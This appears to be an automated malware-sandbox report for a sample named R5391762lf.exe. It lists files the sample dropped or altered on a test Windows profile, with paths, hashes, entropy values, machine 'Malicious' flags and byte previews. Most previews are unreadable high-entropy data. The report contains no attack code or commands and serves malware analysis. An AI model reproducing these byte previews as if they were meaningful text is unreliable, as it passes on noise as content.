Preview:	<?xml......h...!M.f.b.g......Au9.y...]..p...Aj.....E...?w........</.@.....U~..P...hXS...~...M..T.D..^...>+.l.x.!.!z...>/.T.&..&.._...N.S..G.j.uA..nA..k`_.....j.P.vz.Z2.0..)..\|..[N4..U..q...$..t2..W..W.....TJ..X'h..-.S<....x\|T(8.ezE3......d.{...^....l;.U...Gkz....L...=.2,...0z...XO......xo.6..;...`.H.t"e.e.m.....8Ie....g-.;.......>.U.@Y...r.L..>B%...........3.p_.Cs..$.........(j......f.....\|......$........2.2~.}...,&.c...I....6..]/...`U..........E.LJ.i3i..y.........2.9%..g".a....@id,,.g.;j....kh.N..$y.._.P..9.S#_e.{_...~..I0{.........NJ)3]..r.I......,.o.W.".~.,j1.T......Rb...."t..1K..i.....M..._'v.A}....;f........\.T...1........&.B.Y.....X..!tm.......Q.h.ly...z..!]...-..........5....fku.....as.U0.(?..^....7.W".o\..I.....5.h.Yt.6..NMc[..g.$`.4<9...#e.f5r[BMw..8.c..f;b~W...!.h`...q..i..W.PL}.K.....4.<."&.Ie?c$R)........e.z6I..1..SYO.y.x..........5..DZ.C...G....dU@1..y...I...%..[.7.W.9...y.+....v_...?.....+...........f..v..HHG5TrV..........

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.977428571963822
Encrypted:	false
SSDEEP:	192:WvRnHuwtgK0lUBXO2WRjRJVafnJSpzfcsUKja8UQ:Wv1uwZ2UBXOnRfV4JShBUrQ
MD5:	4FA40C8CF55E77AC22EE0AFDFF9A884B
SHA1:	E5602F71BDE678EFD3686B9CD9C73DD574F44108
SHA-256:	CF2FAE1074044ABA0A850A964DD969AC2FB490AB124790495517E60B5D6C16DA
SHA-512:	14AE21F7F3E5015CC43B92EA1CB9E73785D4A4E66132C59263B3663C63FF334B7810F1DB6A2C1421CB24F02BB1BC397BAFB92F0A052E94A551A8DEE8CAD2E6E8
Malicious:	false
Preview:	<?xmlw)k..$<...{.u..[J;..=.H:(.L{..v..64.....un.t^...7....YJz.=.y....z ...OW.@f........D..........C(....."..7..r...Y..W...#9.=_m+Tu..$..er.gf......J.....nE.`..............W.$....i...s... .J^.T.VT..}4W_...}...5..o...KI.I.[...5m..-U.P.8.<-M.d.{Vw.\..T.A)K.........0.l."\}d/Z..o...<2{...>...).N.g...q.O..x..B.Fd5....,L..,...;.q^..(..Z.!......;Q.).X.=z/y..@hu..\|...Y.5y...T.@..v..V,.k.2.%...~./a0Ui......5..~.."..[....3......X]..cn(]69y...0.a...hc......#.h.&`..c...}.K....U..0..I^..C../..]?.............._...f.zL..~q.j.....3k/..+...........u:Z:...q(......:....bC....\|...E.g.#.8..rz.4.~.U..M..gFu..m9..b.9...k:...C=_R.....rm..3..rt..N.mI..D...9.7.U.\|)G_)Q=.d..v.4..q!T.....#;."...P.u..x..r.....Q9..vY..S\Dc....A..O....B..;.'......%...... ..Z....Q...4.A....'&..~h.Y.h.'..9..,?.I...&\|.}....%.Y.K.[a..\.M7....G.'... .-.a.S.C1.._.....s.V...Wd....H....p^..U.1'L..d...v.......u....4./...P....._...v..)u..._....v.".....\|..\|.....x..+...3.]B..\.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.967172785919832
Encrypted:	false
SSDEEP:	96:qVm/naiCBhXd/2VbBaumxVcaoVQSL5Ifu5A5UCfizTU0a6huLLFuQ:bCj/oanczOp5h0RcwQ
MD5:	E92C7FA5683F9386417DFCE84207520E
SHA1:	20C76163110A0E0E216FC1308FD235B88B540903
SHA-256:	37BB0D0813501F8C40C76D757EC5CB49CBA1319773651FA1F134897564A91119
SHA-512:	FA22B55C397C9E2D6C2763757669761EA2001E1F034CF67DEC8FBF5D026A90EB9A751021EAC821FAE4B91F7A4AF7E68C4C01DFF1C6D90CF76B6A0C1786BB4AFF
Malicious:	false
Preview:	<?xml..y.%..Xc'....jhC.....t.3.jk......F....Q...%w.b\|..b...R..9...:o:.q..N.s.$.H..H.......3.\..?.-.'.-..:.hn...$y......A....]....=.G...i...+.[CH>#..J}..m..;.P(oW.7w...r=.._5....$........C&...q.~.W.P...s`..5.;_v.^(R.l./h.m..+.n.r...=q.5.s^.,/.9+.'GV)w.....K...:t......!............9=.d.J.l7w.d.$..`Ef.V5...;.\z...e.......A#..H....QKe..r.'G..j.oy.tO0$....HK'52.m.......k.....).......;.b.K=..k.sx.`.(.....U..--...Q....}Z7td&]a..#.Dd......%..z....cXZ...{....#6I......Q.`V....f.u..3....d..C. .N...OM.I..g..R...b...).....=(Ca.............X..B..!7..^...c..+..n...w1n\|.jS.....J.P..c._DS....-i."..l?JO.Q>.....e..;.'...'.....c...t..i-7..../m...'.g...%...f.n......V"....bb...g.mD..-....x...L.3p..Q@.......lfs%........[.,.....n..[..p.tE..U..m...J:.I..!=.....1.....Q.0..Q...!4..\.kzM..v....I......$.}.n.[@..'.Y...e_..t...D.}.g.Pk..@....n.K..C ..2.@......... .YpQ.}i....u..#.R....e..&.....KI.2..L Y.^.,...QH.,/.S.l.......e.....LlDQ...B&IM'..I^...R..=..wf.!::...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.958986831953434
Encrypted:	false
SSDEEP:	96:ta2qiOKvSX41GxnZ3tMIAMnxyrB0xQqwMz7Pz7yF22wIrsHTnx2VxKZFuQ:tL7npeZ3aTMnxyrB0Kqww7Pz7W2Fpx2O
MD5:	2B1BF812EE47E968A022B74803DBE0D5
SHA1:	5951EF1824C09FAF483B3B0E87EB4508EE74B0AC
SHA-256:	37642B88F1D83C86E246DCCC04B7F33E72784AFCFA11313A0D38472C85F6F3E7
SHA-512:	302F1298F83714FF69F76207F11C41785BBDFFBDCF0B2F0BB4227C699C7BB4D3CE56DF656DD620C9BFC27B162A16C5E5AA7FDB8DADE9BE01A33BB3B9BAC4DBC8
Malicious:	false
Preview:	<?xmlu..T....h"?.\.:.>..~f..P.:.r4.?......>.Z.....uH......o..d...~..q....3..ce..".O...&......a.\,.yNU...W8\|#.~-.@..Q.......&....Z.=........T...Fz.6w9:3.<.q...o(P..%A.R{\|...EW..oKaBXD<"2..I.Q..A6....u...".b&.....{6.n.NT....?`-.#.D.........o...X..."z.b.a.Z....`.A.K.9v.g.H.....l{@b..b+....K.8.@..K.....Y..}.rmM.<.+.:.ip.M..o6..v.>..i..d.c.......ps.........R.LA}. .Os.s.....3......[2U0..\|2...V..(..g.Z.g=..W7..x...Y.{..S_......9.a.c.4.....KY...^s.]..-..K..S....AF...o...R..w....\|N..T.....IM....)....\|Lsa.>.[3...&....8@...........D..M..S.;_>.2...?....-......S/_.:.V1*.2.N..[41E].4`.6...d{@......p..u..^.}.[a8c...qF..^../At.$.Z}Hv@:.../.#...7....:pd...e...L......Gf.....b.g.....'.....OE.,...[.r...\....V.].X...m......UN.(.....O{...D:......@.&.._..hG.=~..J..-=hU..P.."K.d$.,....v}...>.v.............c...z.^..Wd........~....K......s.;O.B........1@).Dh.a..)sh#H.."/`.....S.{.H../.W..yU.5aS.oM..b.{/..h)Y..r... .W..e.">^.$.c.;..t7....9.L..T..%.(.wl.....khR..K..

C:\Users\jones\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1353
Entropy (8bit):	7.8446442729386785
Encrypted:	false
SSDEEP:	24:YT8gjINunCP7128lZldBqhdolf9c4exnD13JF/DDeYX1y/y634hSxXq8uWbD:YT8gU8CT120luhdcVA5DeYXATIwXFuED
MD5:	778841A30FD5E7BB990657646F23D755
SHA1:	F8A33392B9C38AD96C84B8EE01F49B3E7B0FA19A
SHA-256:	369BC0F919B44FB6031CD957CC1FB4C3E7C1D2C61603DFCE658332898350FCDD
SHA-512:	CF2BB923E47ADF123AB8192E229FD39B0B191F0807167DD074F6F26245250FD63C09DEEC815D0EF7A9C9B227BC13E07C0F2D50756F4A80211D13DA8BBC11A037
Malicious:	false
Preview:	{"Rec.......P......S.....0.CU......"z?.E#<9...J.9.........n.PN.3}lWHXG.o'.. .\|P.5..i;8.f).4.MVa.Y.P......9.....I..[..`+F...mX....\|.4N.H<..l.u.iU..{.w;g.....__bT..P.f.@...:......G...2....BE.v..FD..1.M.z`"(.N.6P..Kt.p&;.X....E..F...!k.\..O... _B.....Ir.R...~..c$.7.r..J3.q...x".5X^o..I..@.. B.)./....^!.#f..Y)X.#.R9.......Y.Y...L.......a........,...[....a....3...v~..`nW..:/...".{........j.~..QX..j.u."Y.E..v0..3....~.0....}.....`.c..W..l.i.....dA..^..i.T....k.{[j.. ....z.83.R..9.r..PW.(.8K..f..fq.V.C.362...^..oy..+.+.:.9..BE.?{.q.d.L]a".I. *..:-.x..g\..........g..:...E.^...>.%.'.7..ThZ..C...'....Q...j$.y...>..R..%....F(_.x.F...5O.(.SH.Pi...v...Y....c../.q..:_.W/x.Uy..~.....i.Wk.<..EN6C......iV....]&M. .&.h..........:...O.B.h.s.>D"..5....F...X;{..7.d.O....C.,x.......K...^G[.f..R..8..V0zH...[...\|-....'..'........(d.9..\.Et`.=.8....R.K........-k...b...T`{?]~e..F..{.....N.k>o.F......-v.Jbfbo..\|h=.....HB... .{.Z.0.0........zpd....2

C:\Users\jones\AppData\Local\Microsoft\Windows\Safety\edge\remote\script_300161259571223429446516194326035503227.rel.v2

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	83120
Entropy (8bit):	7.997680104617324
Encrypted:	true
SSDEEP:	1536:ck1+6c3bIsVzEYE5MPgb6Y0UPt1J/H2jYdYU5gDdvmw5vxa:cEcL8QYJ7J/HHmUCxmw/a
MD5:	671E482652EE310E48F2E2715F7B822F
SHA1:	BAAF89B47E9A0AB41C43FBD7412D6834727B40D4
SHA-256:	A45411C1DC8138BD6E088FF8DB0163F87FE1FA838DBAF690F59AA8360B2B3B2A
SHA-512:	F3391C880BD9E63B74811CD69540812CA290947A76BF74C38CA4282B0811AAB9677611451181D7395124C5B3833FBE3C5B09052E941322665D16448E086853FC
Malicious:	true
Preview:	'use :....<.............+..&....._oZ..e4$..)..~..(i......b..........'..I.N....h...(O.....uI..%..@..".=...[51.....>..[........VT.n..g..'_!qj.>W.9\.n..i...^...[....'....G...Q:.hL....x...4.R..K..\..i...._4.?=<..;/.....v.B}..."...S.{..p..r.`....x..kVK].v.B$K...{.......b..c..(..kJ....C...o..`.....a....&R._....c.2.[b.rm.?$.hj.1.o..\|....<-.....]R_({.4..>ZY....\2..zVq.......S.,......-..2.gO.+.C...+..G..h..9.3.&..df.7x9i.u.fG..:H....\|......eP.k..;KF.6`.....Q...z..-.v.S....0\|HU..7..t....1..b.m..!. n.U.6b..t._U...si.....a.6G....]........1...[.K....*..s.i.x!y.......n..(..Bw.O[...Sz...}8.o`........j4..x..@.z>..L..(q?.O.:nC.k0..[./.....9\|h.5.-z....X.T.l.6'/F..<..G....{"`.........Cx+...zh..>.....F.M..?}S,.....n .H....7$...=.r.i.p{....../eH.....=.f.."e..6o....A....O....=qa..}.U9..k;....vD.3.C...Ic..=`Q..f...1.....76U...UR...9Y.....~...<m...5..N.(....x)...f.;......U..`...4...l.K.E.%'...>...9o.8..hR\|...+....E...r5...;J...o.dM....<t...22....O....j

C:\Users\jones\AppData\Local\Microsoft\Windows\Safety\shell\remote\script_96032244749497702726114603847611723578.rel.v2

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	31496
Entropy (8bit):	7.994481897659896
Encrypted:	true
SSDEEP:	768:SFTIKFoO2tSCKiZfkoQuNbWUdZItNiMGfmZh3GbESW:yBFCtSCKDoCUdZih3G1W
MD5:	5320CFFBD4D0D5F1784F91C075BAB884
SHA1:	78CBD89BE7A7B5590825F03F91F4D1F38051E628
SHA-256:	E3EEA9C7FE280633A8DFBD2B90E63E5ADBFC08FE9DDF480E2ACF919590ED838E
SHA-512:	A1334F5973314A45E15F3C123780C1AD783593E14D6B9E03E06B2D17D98E5E7B0CE915DC757407F9D35CDA28D5D005D02D33DC0C8BDFD574C967196775A13F36
Malicious:	true
Preview:	'use .?..So:X...u..a..t.....,d...j.Q.n......1.....w.U....i...Uj.0=...E.5.../.'..y.:..o.Qz.2.C.'....k....>A..E.).@..l......WP.n....Y/.,...i.r8..U.<)o{...5nj.U...?\|.7.9t5u..._....y...d...?....WG..~.`.......4]..$f..}......M{...Q=Nc..5...q^..`p.KK...q,..7..C...:j{4O..~}FBL.-p...1&.....Q.v.._U.&8x..Z...D.......,..a......2.f..}L...g...w/...Ft...o N..r..."...... !........-NY..%.............:84..jC}_4......z)...CS.(.r....2....`}x..75...\|.b..<....4.@K.E.@...1...~.M.....s]2..a..`....`.........s...V.8.....Vc..f...J".%.....<.....:7.....(1e...O!.m.@.<..M.U.ZG"g. ..A}..T.Gs......q.&..i.~?..?......+....w[.=...`zK..tu..i....I.L.`..4..T.?.L.:H....(...B.2.....2.c..myS.-....zlh....B.....u:...j.....}..mN,.....g...........1.71...y.<7j.;..9.......e.s...BVA.)OS.OG.,.!.D.(..k$n.$"x.....l.;....){\|.-p.h......c...f9UU>`%. .>..S..H..\#...........#..".... .$..... 0..tlZ......s......-3..jS.n...)..R.D..gG...`...:~..R$.&.Mj.LN.....hED..20..m."...H.n..T...T.j..X]...

C:\Users\jones\AppData\Local\Microsoft\Windows\UsrClass.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	3408206
Entropy (8bit):	4.762406666733501
Encrypted:	false
SSDEEP:	24576:Rnr07RyHDUooyNn2OOpctVMiA8DqkXci5QftnmMUv+:RrpHDUooykpctVMiA8DqkXci5QBX++
MD5:	67239306E9C13FCEF08E01E235E5302C
SHA1:	FC8F6025A16B6134E3C9CC8EA1904042C013D866
SHA-256:	B3CF6E4F10499C422A57421ECC2968999C143045580112FCAC04E10C47BC9399
SHA-512:	C8499053DC544A7F159F891A3F15D02040B15B76A652388BE0792D6045DE17C43FB5A47EAB88FA961546721BA592687BDC1A3BEFB57EBED40C0B56C6954913A2
Malicious:	false
Preview:	regf>..%..m.;.se.a9.P#?.......aH.\.....K..~......C.E..z..)..X.z.........w.-Jk.H\|..%...nNN.b.1#Y:.O;.....W.+].u<.r....Su..@.#.......ZN[..Wy;.?.{s..!u.n..8f&.u./.V(.B3...r....e.e......07$\....2...e..}.......S..W...V. .....?C.0oL.i...3..`...$......,n#...jW..}d...<.A......Xm.o\......!.m.,8..I.....sW..J.t..].bU,)X..9..w.A..E....~q....{...F...<]"..rm.uY..nb]t.T. .....+G....t.V......;.8.X.M..y.......\|..._f....u...G{.t%K...eY.^^.. ....r'.e..`....^H.% %L%..Z..#.E.....XE........_.j...C..R.....X&.h...-_.qT..7.7A..ln.....D.p.j[.{+.~\&uy..m.V5Wh.n.S5:.C.T......./.R.U5.)w.Lu...N.7#.S.kh.....'.n-.F.C.....+......0..(.../:.r....4....Q..U#.2..]$R...`.,..a.B..iK....J.l........x..;.Vu...o.y...X...../{....9.r....Q.2H..c....b`Q.FR.......6./l...i.n...Na';.Z2..[..<..Q.b...6..x..[.`....1-..e'..h.e.....}.Qh.w(t ...9.&..q.+k..3@..;...s.^Y..[.M..1.aa.......SJ.@...V...^...R.`.../.....2Y1F...x; /........-2..Z..i..>.......^..R..5=.......=9Qz....y......

C:\Users\jones\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	865614
Entropy (8bit):	4.3099146149903165
Encrypted:	false
SSDEEP:	12288:Em1I4MeG8HqfH5Y+nNJC6JZ2x/pZCJC6JZ2Sz2CJC6JZ2s:EVreG8HMH1
MD5:	91F40BA50C1A7A748B8318E86499F04F
SHA1:	697E1B92C329F85AFC9BC087E1BB8322B25A1277
SHA-256:	C5107C2DE3CC979994865BF806D17F6A5446D1352727569D81E29AAA5DC701F2
SHA-512:	923EC0E8912FDBA9D3BF9499682CE8C4272CD90AEBFB56234F24BBECAADC9AA63876B9626A1742D3AF24D2642880E2E0E1DF60F2A34D877CFCB795EF4D8063F8
Malicious:	false
Preview:	regf=..?.......pSy...\!BJ!.?.z;.G..h.....c{.....V ...P..>`.T.Se.f...H}..u..6m..L.vjP(........A-M...{......A..-TE_-XOQ....!R.e..%..S...z...;4.:.r..4..Em.H.....2.....o/.}............x...4f...hL..mB..[.Yi......e.......%..>^c...QC.....s..f4..........#.;........J.6...'...~.^.l.g2LL......'.o..Kw...x..9.....{.3.&G........N.....k.....Q.L..f.(./'v.......s...\\| -.e?........^Q..v...B..ZI5......G.D..x..Qf..0.Dm.2..pW....!...B..8..,../*...7DU.a.k..%...V..Yz.Pm....Y.9.]...8B5/...M>./.>.`o....>Z^s4<'.{...(y.z.w....<....%!.c.`Xy/ .$B8.(..Y..e2^.........'c.......D...dYE."e.hD{J.........dO..k..s........2.].\|....T d...\|....c.n.....A.......+g!!....G......8B..>.>....Z....x.......;k......P.#).]e.`.'O.\F.}.......k.7...}sK.Di.....B... ..Qy...o..!.e..g._^lE&.O.P[......v".=}....k...Kk............L..=.9.p#. ..Wm}..w..0L(...C.$]...F.g\|.....!..F\|p...h....{. x.i.o.....D.....;.C.,B.Y.'.%..N]fg...U68[.!.lW....... .....F/.\...V3.S....a...F@j..."(..I....L.b..d.....+.

C:\Users\jones\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	865614
Entropy (8bit):	4.519824943922001
Encrypted:	false
SSDEEP:	12288:ft8OCNP3dDiClzY8PrZZCJC6JZ27J6JZ2CM2C6JZ28:18Oiib
MD5:	4AFCA400E0765182473469BD39D7B8C9
SHA1:	73E8FFF76685FDD0BC608F36E92ACF98F98FAFDE
SHA-256:	30A5ED777252853A16817676D6833D6CCD8C72B22D6DB8CA5FF4114177B4CF7A
SHA-512:	A9040F7E7D05D1D210AB5DAFCB0F2D99A8CAE5B2732929DF35158CA4947A1C4E9D70E588918B10908A8D8D93AC6F2758DC520822EDD86252E33D8D15C85BCCB7
Malicious:	false
Preview:	regf9:q..........0.;.v..z.wk&.MU.[~...W<..$O..s....M..4.{.....E...uG.....L.^....G.j;..+..?H.P<.RZ.wY!M.X..r............\|..H...\|.l\|...%@.. .;. j.......;...r9....O..P.......U...m.~.U.&...ALX.Y.5L...nz.\.7.h.../.......Y...k._. ^..b9uCl.G...F.)e..Y50nEJ..u#d..QS%.....u...-F2`.6j.,.y..F!....h.....}..h...'O.../.mJ.[...\|M.....p.......-.7..}...B.&0.D.U....b.W......T.p.............5.,...g{.....A3o..&U...(.e.%..ncq..5c.Y.({$.......3..m...+B.Q.......b........+..*.`..NX....hs.....v...r2.:,.).....h..sz.a..SdSn.9]TV..X04.6.tW"Y..,.Mc./.9.@..X.X.u.Z~.!..'ah..8....B.0G..R...}<....].<.G............im,...-./l.n ...ZR..X.(..le.>.......-..`?..a..Z.k..,.5.`.S..6..........%..S&.tB.....tau...:#w..(?x...;...m..\|...?...FjH..D..."AyS...........i.#.........<......#,"1....D.].....i.w.....`.NO...u..........w...3..Z.dJ+..i...G.U-,.....4.u._.......+&8$....S.;.#.[.D'gv.5...y.3"[...j+...h-9YD. .g\.Hl..;.J.........h{.....K..g#C.(:.@../5.."V..17....B$0.O7.Zr........

C:\Users\jones\AppData\Local\Microsoft\fluency\lm\en-GB\.config

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	561
Entropy (8bit):	7.633955698788722
Encrypted:	false
SSDEEP:	12:NsexcxNpRI3/M1yPTlNH6ZQydobsWcsfbwgr0jutz+7nVCCJxGjz3qKXqOTuWciD:NsexabGvhPTlV6lEsWcsfbwXutzKnVCH
MD5:	7A273A94E534D7C0BE4140F4C495E5ED
SHA1:	D08C8B2D108F49154694EF8029EF3599367B75EE
SHA-256:	68A5C5EE78B2A3F69212152E47887C2FA8603A3056BCD6178DE2CAA23D79332A
SHA-512:	26EB5332B155E336CB6726283C56794BE90200C4A7D2B9241B3225138978A3317009CAAF1257E936ECEE93A5F2F4CD75EA065B850D1FBA318151451C1AF24900
Malicious:	false
Preview:	..{...a.)....D..=....o........-(9..o9..w.&.......~PGy.Y`....yX..v...F2.i.^.....}v{a..Kw.D7.J.}.d].W.<.!..42...naa..X5...p...........?..(?.!.....R....J.$@.C....I.%(Z-S.<~.....m...\J...Z..%p.c.G4 .v!..1.Pv..9...c..M.0.W.....U.e.`..g.0R!.K.(...>.k..l._....@..Q...{.3..l..6Z.o.$:X..UT%.@pmm......+...l.H.b...Nm.b.5...V1.`Z..j.. 1.@.'.\|@.....#...e.O0..~...W.YD..~L.4.[i.q(6&.h.........Q.....".\.....#..y.....{l/.z..j.v..,..\|T....../B..$5i+G4...*_I.b../.....A{L.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Microsoft\fluency\lm\en-GB\dynamic.lm

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	8862
Entropy (8bit):	7.9782937938658725
Encrypted:	false
SSDEEP:	192:Pk0KQvsXBLvBkagUSqDY+ojFMnh3xjY2vvm6fdDwu/Q:PJKysxLqU9YfhMnBplvpdDX/Q
MD5:	D5AE19C85B8730AA48EF6142897094B6
SHA1:	3B782EB9EAA681C7FC03028ACF0FAC828434D298
SHA-256:	BE620F333BD348130F66ABF80D150AB49247F5AF3FDA8D45ECBF91B11D5CC6C7
SHA-512:	A42F8215C6E20B3FF9B1056FD77895029944681FBAFA1E5E748668C1E9BA128A9C5AFEF5A3F3C1998B9CD732D56A31E530B76E65E32456F86FB699C7E3D811F4
Malicious:	false
Preview:	flueH..3((y..m..F....._^.n......[.....{ir..#.z)@^.{..J....._..;./..Hr2l...E.n3.83D...q\.=.Z..c.N.]C...^.e.....u..hz.7%S.....5.PF..F_......H.{`L...@tK.XsA....U...0...h..H.i.:.f..]'.^...!}Hg.9H.w...qtRzV}..-...hT..\|...0^^KW..i.r~.1...e\|.<,.GK%.....P]..........{...>.."..m.Z~.#..ZH.z)..d...N+eiUW..=l..0...'...!....m...}.}.0.,...J..T....c..c.2..o..};........."..c.gs/"...v. ........Em.fu.G...2.@...:;>.!e..7.-..@H.........Ao.fT...6oG..u....b...2...c.....Q.KC..vb....(.M....x6.........<i....F`.]yd..c...A.)]b...>..\|"...+)".Fu,....9.O....2@^.....7.......9.P...8.L........C..>uL..&?.i...UF.....c..B{..L..............W...s......J..D".{...._...Qb..........t..J!..a...2:7.h.E.."m. <31}..D.Bwwv..>B,.......].U..o2....*..$..Z..Xf.7.N.r.J^.J_.......yI.%$...T...{....\B.......{...Q.E.z6'..[.3.W............]...O.E+D...''6..i%.i.J.hS.M..^..y..V..A'H...7....8].;A.8o..t....."T.e.2..>.9.c...}x...X.d.H.qwA.d.k.....e...6@Ca3...&...#.D.2M.....4...v1...+

C:\Users\jones\AppData\Local\Microsoft\fluency\lm\en-GB\learned.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	988
Entropy (8bit):	7.757529493564362
Encrypted:	false
SSDEEP:	24:NbeOT0Ag4cxCV+pkF2GCajtI0cFGVYgA9V8aeyAXq8uWbD:ZecrrlV+pkF3CaLEgXaDAXFuED
MD5:	B89DF6FE2A18C6214A62B43844C84CD1
SHA1:	554056458B9A767173794BDB3A5D5FD23D298CA8
SHA-256:	DE4262DD7B396BEE07FE80E343A3AE1C384F1473B2093992EA354BAF4577BCC2
SHA-512:	D5F2C6434472EAB82F43281245BE9DBFEC001606ED30613AED1944410CFEF9A0F23A6B8C07B7C321945E2780338FA9B18DE86940B5ECF443384E70FC28C2A91F
Malicious:	false
Preview:	..{..0R.19..J..T....Q.....V...S`..{1h.[.../(...._..'.\...-..../}..3{`#.../l..+.........H].jD...............E.p.E.Q.m0...6>... .au..0EA..wU..!...gXwZ.3.H.R.E~.=?...{m.'.\|.l..ezr..U..Wn...bN_8..!..9I...m......`.[..V.#...E.@..a.s.;..!U..@.=..n..o;....e_.XNX..=.........2.o......n.&n.j}..m2...U..}..4`t.8....5.\|.......c1....%}E.@....;,:A..E@.T.h.$.B..L..k......9}...G..J.Z\..T5......$5d.=tL\|..Y..L_.~N...=.2.?!.\XK....i.<b...Yh.=.d.S.......,6a]O..;.!.I..n....:"...Kt..C....$.]z.]..]t.i..Ry.."9...[nN..U..f.QT...8.K..G....G.(a.'..4."dS'x.!^.....Q.h.a)..(k...C..._pY..=.......fn.....m...............MC..a..X.=(...._..,.)"].F..#J..I.z....+...zI....T10..0....~...O....E1vxX$..R_..B3.....#;O2...`.I...Z.B3.....U.Z..*.t9.....z..2..b."{..<..`.?.:g....\z..&.E(...?hV..n...a'.h'~..V......,2.FG.^.3X....<x.@..+..i(.....Q......r..<.=..#.... ...q7+..2+[..jm.........!..+.l8xBdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\scriptCache-child-current.bin

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2046434
Entropy (8bit):	5.076098120197613
Encrypted:	false
SSDEEP:	12288:LTc+4OK/hoMhkMZC4xqcGG487l/bpO7oypPA1OEiCIuRhRuPoCnE2ZzNYLQhhWit:Z4OKJhf2cGGR7l/bqs6BjUNR+F
MD5:	BBB1B9968640A86D808F7A3EEC3726E2
SHA1:	116528E0BD3AE96E1939F63094B37A2AB95217AF
SHA-256:	1FE536C8317DC3367C7AFDC871E0661C718136575D957ADB6A69C4F3290B75C7
SHA-512:	CB10B77BC7ED7E420A389D849C58EA3C6EE266156541F0C46166300127AED2E1E5A95206568AC9335F43CE5BDD173310641ECA78931CE6470A5380BEF6C2E6EB
Malicious:	false
Preview:	mozXD....+...?....2-E..]c...A......r=...qW.iu..RR.2....p..g.2...U.#.Ew.7J..'.0.~$....P.p7...0..VQ..`..,..,A(....y8..;?...[.7d0.IkKj).x.g4..}..X....>..n..Fa.9.A.D....B..C..v...&....s....n.....k....BoGTy.F.......Po...`..l.%...a..i......Jmq.2>z].(-.+.Pr.J..Pe.3P..B9.9A...K%..O..2A&Q...y;.....}.H..M.2.'}pC.3..q...Q...?..\.w,...a....Kb&...G...n.3...d...v..U..d..N....~. .H..\".......8..V.8...7.B:,..Nj.`.y,mxC....k0.........a.8Z;.X.k...e0\...X.t...\|<.............y..T...{[....;...j..@."..%b.F...3.K..u.......P....R.F...^8..T.WL~.m.[.EJ.N"7?SX.qe.b1........`...u.... .\|.]./W5.X..../.`t.....a...n.r"......R.M...e.M..[5.JyI0.l..8.T. .....KF.r......^\|..tQ...W.xb.....\|0..v%....k..v..#y. .;.t...Sa./...n:\|N! ..0..G..J....Y'./.\.....t..}L.....#.Z.<..sN.D......./.....m.Rw....0?%....X}........G...?..u.8....\..&.Y.....@..vakQv...E......P...L..S.qUj_..O.K6.2.2...udaHqu..?".}...GJ...4.,.3.....[.5..4.&....+.D.4...h;...i..E.Q.W.H.....}.V.<....O.i<..D

C:\Users\jones\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\scriptCache-current.bin

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	8387278
Entropy (8bit):	4.802816274661584
Encrypted:	false
SSDEEP:	49152:EnZwTv3Dxd4C4sWDc+ikpXGGRAuAgdyR+FwDkly0CNG1Kl/S/qyal+6N7hS5BLVe:Enav8EW5IdVgdy6gn/SSyal+rPg
MD5:	E3E38696C5C12C7941C8459FA1AD24C9
SHA1:	EA4003BA138B6A5668687E994D8B0FD08956131B
SHA-256:	9FC76FB58FE352A2ECFA753C4A311265E2656F8E393F7DE58E9073CF3DF26FA3
SHA-512:	C9DA5E6A29A5A43034F4D799BB8FE0ECF40E3460AF764191B1A81F84BC38D6E1833485C04FECC9FF300F193BB221EB4BD6D0B30AC1010B79B8BBCCF7AFA1FA53
Malicious:	false
